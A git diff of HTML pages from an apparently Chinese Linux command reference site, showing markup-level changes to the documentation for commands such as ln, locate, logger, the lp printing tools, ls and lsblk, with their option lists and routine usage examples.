    @@ -234,7 +234,7 @@ lrwxrwxrwx 1 root root 11 12-07 16:01 link2013 -> log2022.log
  • 不允许给目录创建硬链接
  • 硬链接只有在同一个文件系统中才能创建
  • -
    ls -ailR
    +
    ls -ailR
     .:
     total 16
     922730 drwxr-xr-x  4 root root 4096 Jun 17 11:18 .
    @@ -284,7 +284,7 @@ total 8
     
     

    符号链接(软连接)

    符号链接也称为软链接,是将一个路径名链接到一个文件。这些文件是一种特别类型的文件。事实上,它只是一个文本文件(如下所示的abc文件),其中包含它提供链接的另一个文件的路径名,如虚线箭头所示。另一个文件是实际包含所有数据的文件。所有读、写文件内容的命令被用于符号链接时,将沿着链接方向前进来访问实际的文件。

    -
    $ ls -il
    +
    $ ls -il
     total 0
     922736 lrwxrwxrwx 1 root root 5 Jun 17 11:27 abc -> a.txt
     922735 -rw-r--r-- 1 root root 0 Jun 17 11:27 a.txt
    @@ -303,7 +303,7 @@ total 0
       
  • 符号链接的大小是其链接文件的路径名中的字节数。
  • 当用ls -l命令列出文件时,可以看到符号链接名后有一个箭头指向源文件或目录,例如lrwxrwxrwx … 14 jun 20 10:20 /etc/motd->/original_file其中,表示“文件大小”的数字“14”恰好说明源文件名original_file由14个字符构成。
  • - - + + \ No newline at end of file diff --git a/c/lnstat.html b/c/lnstat.html index c240118e64..d2a886c1c0 100644 --- a/c/lnstat.html +++ b/c/lnstat.html @@ -9,7 +9,7 @@ lnstat 命令,Linux lnstat 命令详解:显示Linux系统的网路状态 - Linux 命令搜索引擎 - + @@ -139,7 +139,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/local.html b/c/local.html index 6c0695676e..cb008b475c 100644 --- a/c/local.html +++ b/c/local.html @@ -9,7 +9,7 @@ local 命令,Linux local 命令详解:在函数内定义局部变量。 - Linux 命令搜索引擎 - + @@ -146,7 +146,7 @@ customElements.define('markdown-style', MarkdownStyle);
  • 该命令是bash内建命令,相关的帮助信息请查看help命令以及man bashinfo bash的相应部分。
  • - - + + \ No newline at end of file diff --git a/c/locate.html b/c/locate.html index 3200413f25..3a1dc3115b 100644 --- a/c/locate.html +++ b/c/locate.html @@ -9,7 +9,7 @@ locate 命令,Linux locate 命令详解:比 find 好用的文件查找工具 - Linux 命令搜索引擎 - + @@ -121,10 +121,10 @@ customElements.define('markdown-style', MarkdownStyle);locate指定用在搜寻符合条件的档案,它会去储存档案与目录名称的数据库内,寻找合乎范本样式条件的档案或目录录,可以使用特殊字元(如”” 或”?”等)来指定范本样式,如指定范本为kcpaner, locate 会找出所有起始字串为kcpa且结尾为ner的档案或目录,如名称为kcpartner若目录录名称为kcpa_ner则会列出该目录下包括 子目录在内的所有档案。

    locate指令和find找寻档案的功能类似,但locate是透过update程序将硬盘中的所有档案和目录资料先建立一个索引数据库,在 执行loacte时直接找该索引,查询速度会较快,索引数据库一般是由操作系统管理,但也可以直接下达update强迫系统立即修改索引数据库。

    语法

    -
    locate [-d  path | --database=path] [-e | -E | --[non-]existing] [-i |
    +
    locate [-d  path | --database=path] [-e | -E | --[non-]existing] [-i |
            --ignore-case] [-0 | --null] [-c | --count] [-w |  --wholename]  [-b  |
    -       --basename]  [-l  N  |  --limit=N]  [-S | --statistics] [-r | --regex ]
    -       [--regextype R] [--max-database-age D] [-P | -H  |  --nofollow]  [-L  |
    +       --basename]  [-l  N  |  --limit=N]  [-S | --statistics] [-r | --regex ]
    +       [--regextype R] [--max-database-age D] [-P | -H  |  --nofollow]  [-L  |
            --follow] [--version] [-A | --all] [-p | --print] [--help] pattern...
     

    选项

    -
    -b, --basename  # 仅匹配路径名的基本名称
    --c, --count     # 只输出找到的数量
    --d, --database DBPATH # 使用DBPATH指定的数据库,而不是默认数据库 /var/lib/mlocate/mlocate.db
    --e, --existing  # 仅打印当前现有文件的条目
    --1 # 如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到 的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的  权限资料。
    --0, --null            # 在输出上带有NUL的单独条目
    --S, --statistics      # 不搜索条目,打印有关每个数据库的统计信息
    --q                    # 安静模式,不会显示任何错误讯息。
    --P, --nofollow, -H    # 检查文件存在时不要遵循尾随的符号链接
    --l, --limit, -n LIMIT # 将输出(或计数)限制为LIMIT个条目
    --n                    # 至多显示 n个输出。
    --m, --mmap            # 被忽略,为了向后兼容
    --r, --regexp REGEXP   # 使用基本正则表达式
    -    --regex           # 使用扩展正则表达式
    --q, --quiet           # 安静模式,不会显示任何错误讯息
    --s, --stdio           # 被忽略,为了向后兼容
    --o                    # 指定资料库存的名称。
    --h, --help            # 显示帮助
    +
    -b, --basename  # 仅匹配路径名的基本名称
    +-c, --count     # 只输出找到的数量
    +-d, --database DBPATH # 使用DBPATH指定的数据库,而不是默认数据库 /var/lib/mlocate/mlocate.db
    +-e, --existing  # 仅打印当前现有文件的条目
    +-1 # 如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到 的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的  权限资料。
    +-0, --null            # 在输出上带有NUL的单独条目
    +-S, --statistics      # 不搜索条目,打印有关每个数据库的统计信息
    +-q                    # 安静模式,不会显示任何错误讯息。
    +-P, --nofollow, -H    # 检查文件存在时不要遵循尾随的符号链接
    +-l, --limit, -n LIMIT # 将输出(或计数)限制为LIMIT个条目
    +-n                    # 至多显示 n个输出。
    +-m, --mmap            # 被忽略,为了向后兼容
    +-r, --regexp REGEXP   # 使用基本正则表达式
    +    --regex           # 使用扩展正则表达式
    +-q, --quiet           # 安静模式,不会显示任何错误讯息
    +-s, --stdio           # 被忽略,为了向后兼容
    +-o                    # 指定资料库存的名称。
    +-h, --help            # 显示帮助
     -i, --ignore-case     # 忽略大小写
    --V, --version         # 显示版本信息
    +-V, --version         # 显示版本信息
     

    忽略大小写搜索当前用户目录下所有以 r 开头的文件 :

    -
    locate -i ~/r
    +
    locate -i ~/r
     
    - - + + \ No newline at end of file diff --git a/c/logger.html b/c/logger.html index ece8a453fe..8d549d2881 100644 --- a/c/logger.html +++ b/c/logger.html @@ -9,7 +9,7 @@ logger 命令,Linux logger 命令详解:在系统日志中记录相应条目 - Linux 命令搜索引擎 - + @@ -122,20 +122,20 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
     -T, --tcp             使用流连接(TCP)
    - -d, --udp             使用数据报(UDP)
    - -i, --id              逐行记录每一次logger的进程ID
    - -f, --file <file>     记录特定的文件
    - -h, --help            显示帮助文本并退出
    - -n, --server <name>   写入指定的远程syslog服务器,使用UDP代替内装式syslog的例程
    - -P, --port <port>     使用指定的UDP端口。默认的端口号是514
    - -p, --priority <prio> 指定输入消息的优先级,优先级可以是数字或者指定为 " facility.level" 的格式。
    +
     -T, --tcp             使用流连接(TCP)
    + -d, --udp             使用数据报(UDP)
    + -i, --id              逐行记录每一次logger的进程ID
    + -f, --file <file>     记录特定的文件
    + -h, --help            显示帮助文本并退出
    + -n, --server <name>   写入指定的远程syslog服务器,使用UDP代替内装式syslog的例程
    + -P, --port <port>     使用指定的UDP端口。默认的端口号是514
    + -p, --priority <prio> 指定输入消息的优先级,优先级可以是数字或者指定为 " facility.level" 的格式。
                            比如:" -p local3.info " local3 这个设备的消息级别为 info。
                            默认级别是 "user.notice"
    - -s, --stderr          输出标准错误到系统日志。
    - -t, --tag <tag>       指定标记记录
    - -u, --socket <socket> 写入指定的socket,而不是到内置系统日志例程。
    - -V, --version         输出版本信息并退出
    + -s, --stderr          输出标准错误到系统日志。
    + -t, --tag <tag>       指定标记记录
    + -u, --socket <socket> 写入指定的socket,而不是到内置系统日志例程。
    + -V, --version         输出版本信息并退出
     

    例子

    -
    logger -p syslog.info "backup.sh is starting"
    +
    logger -p syslog.info "backup.sh is starting"
     
    - - + + \ No newline at end of file diff --git a/c/login.html b/c/login.html index 93231e3c20..f72045cc25 100644 --- a/c/login.html +++ b/c/login.html @@ -9,7 +9,7 @@ login 命令,Linux login 命令详解:登录系统或切换用户身份 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    用户名:指定登录使用的用户名。

    - - + + \ No newline at end of file diff --git a/c/logname.html b/c/logname.html index 01c9103be5..d325c071d8 100644 --- a/c/logname.html +++ b/c/logname.html @@ -9,7 +9,7 @@ logname 命令,Linux logname 命令详解:打印当前终端登录用户的名称。 - Linux 命令搜索引擎 - + @@ -124,8 +124,8 @@ customElements.define('markdown-style', MarkdownStyle);打印当前终端登录用户的名称。

    选项

    -
    --help       显示帮助信息并退出。
    ---version    显示版本信息并退出。
    +
    --help       显示帮助信息并退出。
    +--version    显示版本信息并退出。
     
    @@ -146,7 +146,7 @@ root

    该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 lognameinfo coreutils 'logname invocation'

    - - + + \ No newline at end of file diff --git a/c/logout.html b/c/logout.html index 319db68998..33e438908a 100644 --- a/c/logout.html +++ b/c/logout.html @@ -9,7 +9,7 @@ logout 命令,Linux logout 命令详解:退出当前登录的Shell - Linux 命令搜索引擎 - + @@ -121,7 +121,7 @@ customElements.define('markdown-style', MarkdownStyle);logout
    - - + + \ No newline at end of file diff --git a/c/logrotate.html b/c/logrotate.html index aed760f7f3..2564d00322 100644 --- a/c/logrotate.html +++ b/c/logrotate.html @@ -9,7 +9,7 @@ logrotate 命令,Linux logrotate 命令详解:系统日志进行轮转、压缩和删除 - Linux 命令搜索引擎 - + @@ -240,7 +240,7 @@ size(或minsize) log-size 当日志文件到达指定的大小时才转储 } " class="copied">

    这种情况下,会将轮转过的log再重新轮转,因为轮转过后的文件名也是已log开头的

    - - + + \ No newline at end of file diff --git a/c/logsave.html b/c/logsave.html index 238b530824..e2a2ccbb18 100644 --- a/c/logsave.html +++ b/c/logsave.html @@ -9,7 +9,7 @@ logsave 命令,Linux logsave 命令详解:将命令的输出信息保存到指定的日志文件 - Linux 命令搜索引擎 - + @@ -130,7 +130,7 @@ customElements.define('markdown-style', MarkdownStyle);日志文件:指定记录运行信息的日志文件;
  • 指令:需要执行的指令。
  • - - + + \ No newline at end of file diff --git a/c/logwatch.html b/c/logwatch.html index 557ce0acf3..990ee513d9 100644 --- a/c/logwatch.html +++ b/c/logwatch.html @@ -9,7 +9,7 @@ logwatch 命令,Linux logwatch 命令详解:可定制和可插入式的日志监视系统 - Linux 命令搜索引擎 - + @@ -151,15 +151,15 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    检查你的主机上是否已经存在Logwatch(Redhat默认已经安装了Logwatch,不过版本比较旧):

    -
    rpm -qa logwatch
    +
    rpm -qa logwatch
     

    如果主机上没有logwatch,则执行:

    -
    rpm -Ivh logwatch***.rpm
    +
    rpm -Ivh logwatch***.rpm
     

    如果有老版本的logwatch,则执行:

    -
    rpm -Uvh logwatch***.rpm
    +
    rpm -Uvh logwatch***.rpm
     

    安装完毕后,开始配置:

    @@ -170,12 +170,12 @@ customElements.define('markdown-style', MarkdownStyle);

    /etc/logwatch/conf/会自动覆盖/usr/share/logwatch/default.conf/下的同名文件。

    如果没有设置logwatch.conf也没关系,可以直接在命令行下设置。

    -
    logwatch --detail High --Service All --range All --print    基本就可以显示出所有日志的情况了
    -logwatch --service sshd --detail High                       只看sshd的日志情况
    +
    logwatch --detail High --Service All --range All --print    基本就可以显示出所有日志的情况了
    +logwatch --service sshd --detail High                       只看sshd的日志情况
     
    - - + + \ No newline at end of file diff --git a/c/look.html b/c/look.html index 6ea6467b9c..90b0a39719 100644 --- a/c/look.html +++ b/c/look.html @@ -9,7 +9,7 @@ look 命令,Linux look 命令详解:显示文件中以指定字符串开头的任意行 - Linux 命令搜索引擎 - + @@ -136,7 +136,7 @@ customElements.define('markdown-style', MarkdownStyle);字符串:指定要查找的字符串;
  • 文件:指定要查找的目标文件。
  • - - + + \ No newline at end of file diff --git a/c/losetup.html b/c/losetup.html index 7c0733a5cd..0d281721c4 100644 --- a/c/losetup.html +++ b/c/losetup.html @@ -9,7 +9,7 @@ losetup 命令,Linux losetup 命令详解:设定与控制循环(loop)设备 - Linux 命令搜索引擎 - + @@ -118,17 +118,17 @@ customElements.define('markdown-style', MarkdownStyle);补充说明

    losetup命令 用来设置循环设备。循环设备可把文件虚拟成块设备,籍此来模拟整个文件系统,让用户得以将其视为硬盘驱动器,光驱或软驱等设备,并挂入当作目录来使用。

    语法

    -
    losetup [ -e encryption ] [ -o offset ] loop_device file
    -losetup [ -d ] loop_device
    +
    losetup [ -e encryption ] [ -o offset ] loop_device file
    +losetup [ -d ] loop_device
     

    选项

    -
    -a 显示所有循环设备的状态。
    --d 卸除设备。
    --e <加密选项> 启动加密编码 。
    --f 寻找第一个未使用的循环设备。
    --o <偏移量>设置数据偏移量,单位是字节。
    +
    -a 显示所有循环设备的状态。
    +-d 卸除设备。
    +-e <加密选项> 启动加密编码 。
    +-f 寻找第一个未使用的循环设备。
    +-o <偏移量>设置数据偏移量,单位是字节。
     
    umount /tmp -losetup -d /dev/loop1 +losetup -d /dev/loop1
    - - + + \ No newline at end of file diff --git a/c/lp.html b/c/lp.html index 2e2edf7307..e8d9fa2acc 100644 --- a/c/lp.html +++ b/c/lp.html @@ -9,7 +9,7 @@ lp 命令,Linux lp 命令详解:打印文件或修改排队的打印任务 - Linux 命令搜索引擎 - + @@ -149,11 +149,11 @@ customElements.define('markdown-style', MarkdownStyle);

    要使用文件的一个副本打印/etc/motd文件的30个副本,并且要用邮件通知用户作业完成,请输入:

    -
    lp -c -m -n30 -dlp0:lpd0 /etc/motd
    +
    lp -c -m -n30 -dlp0:lpd0 /etc/motd
     

    要使用后端标志-f和-a并带上作业标题blah打印/etc/motd文件,请输入:

    -
    lp -t "blah" -o -f -o -a /etc/motd
    +
    lp -t "blah" -o -f -o -a /etc/motd
     

    要排队MyFile文件并返回作业编号,请输入:

    @@ -161,7 +161,7 @@ customElements.define('markdown-style', MarkdownStyle);

    要排队MyFile文件并禁止作业编号,请输入:

    -
    lp -s myfile
    +
    lp -s myfile
     

    退出状态

    @@ -174,7 +174,7 @@ customElements.define('markdown-style', MarkdownStyle); - - + + \ No newline at end of file diff --git a/c/lpadmin.html b/c/lpadmin.html index 27246cadae..9e5c9dce55 100644 --- a/c/lpadmin.html +++ b/c/lpadmin.html @@ -9,7 +9,7 @@ lpadmin 命令,Linux lpadmin 命令详解:配置CUPS套件中的打印机和类 - Linux 命令搜索引擎 - + @@ -149,7 +149,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    打印机:指定要配置的打印机的名称。

    - - + + \ No newline at end of file diff --git a/c/lpc.html b/c/lpc.html index 38d3a621ab..6ba9fb178f 100644 --- a/c/lpc.html +++ b/c/lpc.html @@ -9,7 +9,7 @@ lpc 命令,Linux lpc 命令详解:命令行方式打印机控制程序 - Linux 命令搜索引擎 - + @@ -135,7 +135,7 @@ lpc> ? exit help quit status ? lpc> exit " class="copied">
    - - + + \ No newline at end of file diff --git a/c/lpq.html b/c/lpq.html index 2a593adcde..66f5adec02 100644 --- a/c/lpq.html +++ b/c/lpq.html @@ -9,7 +9,7 @@ lpq 命令,Linux lpq 命令详解:显示打印队列中的打印任务的状态信息 - Linux 命令搜索引擎 - + @@ -137,7 +137,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/lpr.html b/c/lpr.html index 26e02227a7..482be17a12 100644 --- a/c/lpr.html +++ b/c/lpr.html @@ -9,7 +9,7 @@ lpr 命令,Linux lpr 命令详解:将文件发送给指定打印机进行打印 - Linux 命令搜索引擎 - + @@ -145,10 +145,10 @@ customElements.define('markdown-style', MarkdownStyle);文件:需打印的文件。

    实例

    将man1和man2送到打印机lp进行打印:

    -
    lpr -P lp man1 man2
    +
    lpr -P lp man1 man2
     
    - - + + \ No newline at end of file diff --git a/c/lprm.html b/c/lprm.html index 9b1afbb9b5..d94aa65d28 100644 --- a/c/lprm.html +++ b/c/lprm.html @@ -9,7 +9,7 @@ lprm 命令,Linux lprm 命令详解:删除打印队列中的打印任务 - Linux 命令搜索引擎 - + @@ -133,14 +133,14 @@ customElements.define('markdown-style', MarkdownStyle);打印任务:指定需删除的打印任务号。

    实例

    将打印机hpprint中的第102号任务移除:

    -
    lprm -Phpprint 102
    +
    lprm -Phpprint 102
     

    将第101号任务由预设打印机中移除:

    lprm 101
     
    - - + + \ No newline at end of file diff --git a/c/lpstat.html b/c/lpstat.html index a9b46cd549..ddb611ff82 100644 --- a/c/lpstat.html +++ b/c/lpstat.html @@ -9,7 +9,7 @@ lpstat 命令,Linux lpstat 命令详解:显示CUPS中打印机的状态信息 - Linux 命令搜索引擎 - + @@ -145,7 +145,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/ls.html b/c/ls.html index 71fdca6af7..f079f8efd9 100644 --- a/c/ls.html +++ b/c/ls.html @@ -9,7 +9,7 @@ ls 命令,Linux ls 命令详解:显示目录内容列表 - Linux 命令搜索引擎 - + @@ -130,40 +130,40 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -C     # 多列输出,纵向排序。
    --F     # 每个目录名加 "/" 后缀,每个 FIFO 名加 "|" 后缀, 每个可运行名加“ * ”后缀。
    --R     # 递归列出遇到的子目录。
    --a     # 列出所有文件,包括以 "." 开头的隐含文件。
    --c     # 使用“状态改变时间”代替“文件修改时间”为依据来排序(使用“-t”选项时)或列出(使用“-l”选项时)。
    --d     # 将目录名像其它文件一样列出,而不是列出它们的内容。
    --i     # 输出文件前先输出文件系列号(即 i 节点号: i-node number)。 -l  列出(以单列格式)文件模式
    +
    -C     # 多列输出,纵向排序。
    +-F     # 每个目录名加 "/" 后缀,每个 FIFO 名加 "|" 后缀, 每个可运行名加“ * ”后缀。
    +-R     # 递归列出遇到的子目录。
    +-a     # 列出所有文件,包括以 "." 开头的隐含文件。
    +-c     # 使用“状态改变时间”代替“文件修改时间”为依据来排序(使用“-t”选项时)或列出(使用“-l”选项时)。
    +-d     # 将目录名像其它文件一样列出,而不是列出它们的内容。
    +-i     # 输出文件前先输出文件系列号(即 i 节点号: i-node number)。 -l  列出(以单列格式)文件模式
            # (file mode),文件的链接数,所有者名,组名,文件大小(以字节为单位),时间信息,及文件名。
            # 缺省时,时间信息显示最近修改时间;可以以选项“-c”和“-u”选择显示其它两种时间信息。对于设备文件,
            # 原先显示文件大小的区域通常显示的是主要和次要的信号(majorand minor device numbers)。
    --q     # 将文件名中的非打印字符输出为问号。(对于到终端的输出这是缺省的。)
    --r     # 逆序排列。
    --t     # 按时间信息排序。
    --u     # 使用最近访问时间代替最近修改时间为依据来排序(使用“-t”选项时)或列出(使用“-l”选项时)。
    --1     # 单列输出。
    --1, --format=single-column  # 一行输出一个文件(单列输出)。如标准输出不是到终端,此选项就是缺省选项。
    --a, --all # 列出目录中所有文件,包括以“.”开头的文件。
    --b, --escape # 把文件名中不可输出的字符用反斜杠加字符编号(就像在 C 语言里一样)的形式列出。
    --c, --time=ctime, --time=status
    +-q     # 将文件名中的非打印字符输出为问号。(对于到终端的输出这是缺省的。)
    +-r     # 逆序排列。
    +-t     # 按时间信息排序。
    +-u     # 使用最近访问时间代替最近修改时间为依据来排序(使用“-t”选项时)或列出(使用“-l”选项时)。
    +-1     # 单列输出。
    +-1, --format=single-column  # 一行输出一个文件(单列输出)。如标准输出不是到终端,此选项就是缺省选项。
    +-a, --all # 列出目录中所有文件,包括以“.”开头的文件。
    +-b, --escape # 把文件名中不可输出的字符用反斜杠加字符编号(就像在 C 语言里一样)的形式列出。
    +-c, --time=ctime, --time=status
           # 按文件状态改变时间(i节点中的ctime)排序并输出目录内
           # 容。如采用长格式输出(选项“-l”),使用文件的状态改
           # 变时间取代文件修改时间。【译注:所谓文件状态改变(i节
           # 点中以ctime标志),既包括文件被修改,又包括文件属性( 如所有者、组、链接数等等)的变化】
    --d, --directory
    +-d, --directory
           # 将目录名像其它文件一样列出,而不是列出它们的内容。
    --f    # 不排序目录内容;按它们在磁盘上存储的顺序列出。同时启 动“ -a ”选项,如果在“ -f ”之前存在“ -l”、
    +-f    # 不排序目录内容;按它们在磁盘上存储的顺序列出。同时启 动“ -a ”选项,如果在“ -f ”之前存在“ -l”、
           # “ - -color ”或“ -s ”,则禁止它们。
    --g    # 忽略,为兼容UNIX用。
    --i, --inode
    +-g    # 忽略,为兼容UNIX用。
    +-i, --inode
           # 在每个文件左边打印  i  节点号(也叫文件序列号和索引号:  file  serial  number and index num‐
           # ber)。i节点号在每个特定的文件系统中是唯一的。
    --k, --kilobytes
    +-k, --kilobytes
           # 如列出文件大小,则以千字节KB为单位。
    --l, --format=long, --format=verbose
    +-l, --format=long, --format=verbose
           # 输出的信息从左到右依次包括文件名、文件类型、权限、硬链接数、所有者名、组名、大小(byte)
           # 、及时间信息(如未指明是其它时间即指修改时间)。对于6个月以上的文件或超出未来
           # 1小时的文件,时间信息中的时分将被年代取代。
    @@ -177,31 +177,31 @@ customElements.define('markdown-style', MarkdownStyle);      # 位,但是没有设置相应的可执行位。 t 如果设置了  sticky  位,而且也设置了相应的可执行位。  T
           # 如果设置了 sticky 位,但是没有设置相应的可执行位。              x
           # 如果仅仅设置了可执行位而非以上四种情况。 - 其它情况(即可执行位未设置)。
    --m, --format=commas
    +-m, --format=commas
           # 水平列出文件,每行尽可能多,相互用逗号和一个空格分隔。
     -n, --numeric-uid-gid
           # 列出数字化的 UID 和 GID 而不是用户名和组名。
    --o    #  以长格式列出目录内容,但是不显示组信息。等于使用“         --format=long          --no-group
    +-o    #  以长格式列出目录内容,但是不显示组信息。等于使用“         --format=long          --no-group
           # ”选项。提供此选项是为了与其它版本的 ls 兼容。
    --p    #  在每个文件名后附上一个字符以说明该文件的类型。类似“ -F ”选项但是不 标示可执行文件。
    +-p    #  在每个文件名后附上一个字符以说明该文件的类型。类似“ -F ”选项但是不 标示可执行文件。
     -q, --hide-control-chars
           # 用问号代替文件名中非打印的字符。这是缺省选项。
    --r, --reverse
    +-r, --reverse
           # 逆序排列目录内容。
    --s, --size
    +-s, --size
           # 在每个文件名左侧输出该文件的大小,以    1024   字节的块为单位。如果设置了   POSIXLY_CORRECT
           # 的环境变量,除非用“ -k ”选项,块大小是 512 字节。
    --t, --sort=time
    +-t, --sort=time
           # 按文件最近修改时间( i 节点中的 mtime )而不是按文件名字典序排序,新文件 靠前。
    --u, --time=atime, --time=access, --time=use
    +-u, --time=atime, --time=access, --time=use
           # 类似选项“    -t    ”,但是用文件最近访问时间(    i     节点中的     atime     )取代文件修
           # 改时间。如果使用长格式列出,打印的时间是最近访问时间。
    --w, --width cols
    +-w, --width cols
            # 假定屏幕宽度是      cols      (      cols     以实际数字取代)列。如未用此选项,缺省值是这
            # 样获得的:如可能先尝试取自终端驱动,否则尝试取自环境变量          COLUMNS          (如果设
            # 置了的话),都不行则取 80 。
     
    --x, --format=across, --format=horizontal
    +-x, --format=across, --format=horizontal
            # 多列输出,横向排序。
     
     -A, --almost-all
    @@ -210,10 +210,10 @@ customElements.define('markdown-style', MarkdownStyle);-B, --ignore-backups
            # 不输出以“ ~ ”结尾的备份文件,除非已经在命令行中给出。
     
    --C, --format=vertical
    +-C, --format=vertical
            # 多列输出,纵向排序。当标准输出是终端时这是缺省项。使用命令名 dir 和 d 时, 则总是缺省的。
     
    --D, --dired
    +-D, --dired
            # 当采用长格式(“-l”选项)输出时,在主要输出后,额外打印一行:  //DIRED//  BEG1 END1 BEG2
            # END2 ...
     
    @@ -233,36 +233,36 @@ customElements.define('markdown-style', MarkdownStyle);-G, --no-group
            # 以长格式列目录时不显示组信息。
     
    --I, --ignorepattern
    +-I, --ignorepattern
            # 除非在命令行中给定,不要列出匹配shell文件名匹配式(pattern ,不是指一般
            # 表达式)的文件。在shell中,文件名以"."起始的不与在文件名匹配式(pattern)
            # 开头的通配符匹配。
     
    --L, --dereference
    +-L, --dereference
            # 列出符号链接指向的文件的信息,而不是符号链接本身。
     
    --N, --literal
    +-N, --literal
            # 不要用引号引起文件名。
     
     -Q, --quote-name
            # 用双引号引起文件名,非打印字符以 C 语言的方法表示。
     
    --R, --recursive
    +-R, --recursive
            # 递归列出全部目录的内容。
     
    --S, --sort=size
    +-S, --sort=size
            # 按文件大小而不是字典序排序目录内容,大文件靠前。
     
    --T, --tabsize cols
    +-T, --tabsize cols
            # 假定每个制表符宽度是 cols 。缺省为 8。为求效率, ls 可能在输出中使用制表符。  若 cols 为
            0,则不使用制表符。
     
    --U, --sort=none
    +-U, --sort=none
            # 不排序目录内容;按它们在磁盘上存储的顺序列出。(选项“-U”和“-f”的不
            # 同是前者不启动或禁止相关的选项。)这在列很大的目录时特别有用,因为不加排序
            # 能显著地加快速度。
     
    --X, --sort=extension
    +-X, --sort=extension
            # 按文件扩展名(由最后的 "." 之后的字符组成)的字典序排序。没有扩展名的先列 出。
     
     --color[=when]
    @@ -433,11 +433,11 @@ none # 不使用颜色,这是缺省项。
     

    目录:指定要显示列表的目录,也可以是具体的文件。

    实例

    $ ls       # 仅列出当前目录可见文件
    -$ ls -l    # 列出当前目录可见文件详细信息
    -$ ls -hl   # 列出详细信息并以可读大小显示文件大小
    -$ ls -al   # 列出所有文件(包括隐藏)的详细信息
    -$ ls --human-readable --size -1 -S --classify # 按文件大小排序
    -$ du -sh * | sort -h # 按文件大小排序(同上)
    +$ ls -l    # 列出当前目录可见文件详细信息
    +$ ls -hl   # 列出详细信息并以可读大小显示文件大小
    +$ ls -al   # 列出所有文件(包括隐藏)的详细信息
    +$ ls --human-readable --size -1 -S --classify # 按文件大小排序
    +$ du -sh * | sort -h # 按文件大小排序(同上)
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -864,7 +864,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/lsattr.html b/c/lsattr.html index e96080497d..74eab6d298 100644 --- a/c/lsattr.html +++ b/c/lsattr.html @@ -9,7 +9,7 @@ lsattr 命令,Linux lsattr 命令详解:查看文件的第二扩展文件系统属性 - Linux 命令搜索引擎 - + @@ -137,12 +137,12 @@ customElements.define('markdown-style', MarkdownStyle);参数

    文件:指定显示文件系统属性的文件名。

    实例

    -
    lsattr -E -l rmt0 -H
    -lsattr -EO -l rmt0
    +
    lsattr -E -l rmt0 -H
    +lsattr -EO -l rmt0
     
    - - + + \ No newline at end of file diff --git a/c/lsb_release.html b/c/lsb_release.html index 55c8e8383a..14add62a87 100644 --- a/c/lsb_release.html +++ b/c/lsb_release.html @@ -9,7 +9,7 @@ lsb_release 命令,Linux lsb_release 命令详解:显示发行版本信息 - Linux 命令搜索引擎 - + @@ -117,13 +117,13 @@ customElements.define('markdown-style', MarkdownStyle);显示发行版本信息

    补充说明

    LSB是Linux Standard Base的缩写, lsb_release命令 用来显示LSB和特定版本的相关信息。如果使用该命令时不带参数,则默认加上-v参数。

    -
    -v 显示版本信息。
    --i 显示发行版的id。
    --d 显示该发行版的描述信息。
    --r 显示当前系统是发行版的具体版本号。
    --c 发行版代号。
    --a 显示上面的所有信息。
    --h 显示帮助信息。
    +
    -v 显示版本信息。
    +-i 显示发行版的id。
    +-d 显示该发行版的描述信息。
    +-r 显示当前系统是发行版的具体版本号。
    +-c 发行版代号。
    +-a 显示上面的所有信息。
    +-h 显示帮助信息。
     
    -s, --short 输出简短的描述信息。 +
    -s, --short  输出简短的描述信息。
     
    - - + + \ No newline at end of file diff --git a/c/lsblk.html b/c/lsblk.html index 7130048d37..2831d222a4 100644 --- a/c/lsblk.html +++ b/c/lsblk.html @@ -9,7 +9,7 @@ lsblk 命令,Linux lsblk 命令详解:列出块设备信息 - Linux 命令搜索引擎 - + @@ -118,21 +118,21 @@ customElements.define('markdown-style', MarkdownStyle);补充说明

    lsblk命令 用于列出所有可用块设备的信息,而且还能显示他们之间的依赖关系,但是它不会列出RAM盘的信息。块设备有硬盘,闪存盘,cd-ROM等等。lsblk命令包含在util-linux-ng包中,现在该包改名为util-linux。这个包带了几个其它工具,如dmesg。要安装lsblk,请在此处下载util-linux包。Fedora用户可以通过命令sudo yum install util-linux-ng来安装该包。

    选项

    -
    -a, --all            # 显示所有设备。
    --b, --bytes          # 以bytes方式显示设备大小。
    --d, --nodeps         # 不显示 slaves 或 holders。
    --D, --discard        # print discard capabilities。
    --e, --exclude <list> # 排除设备 (default: RAM disks)。
    --f, --fs             # 显示文件系统信息。
    --h, --help           # 显示帮助信息。
    --i, --ascii          # use ascii characters only。
    --m, --perms          # 显示权限信息。
    --l, --list           # 使用列表格式显示。
    --n, --noheadings     # 不显示标题。
    --o, --output <list>  # 输出列。
    --P, --pairs          # 使用key="value"格式显示。
    --r, --raw            # 使用原始格式显示。
    --t, --topology       # 显示拓扑结构信息。
    +
    -a, --all            # 显示所有设备。
    +-b, --bytes          # 以bytes方式显示设备大小。
    +-d, --nodeps         # 不显示 slaves 或 holders。
    +-D, --discard        # print discard capabilities。
    +-e, --exclude <list> # 排除设备 (default: RAM disks)。
    +-f, --fs             # 显示文件系统信息。
    +-h, --help           # 显示帮助信息。
    +-i, --ascii          # use ascii characters only。
    +-m, --perms          # 显示权限信息。
    +-l, --list           # 使用列表格式显示。
    +-n, --noheadings     # 不显示标题。
    +-o, --output <list>  # 输出列。
    +-P, --pairs          # 使用key="value"格式显示。
    +-r, --raw            # 使用原始格式显示。
    +-t, --topology       # 显示拓扑结构信息。
     
    lsblk -a +
    lsblk -a
     

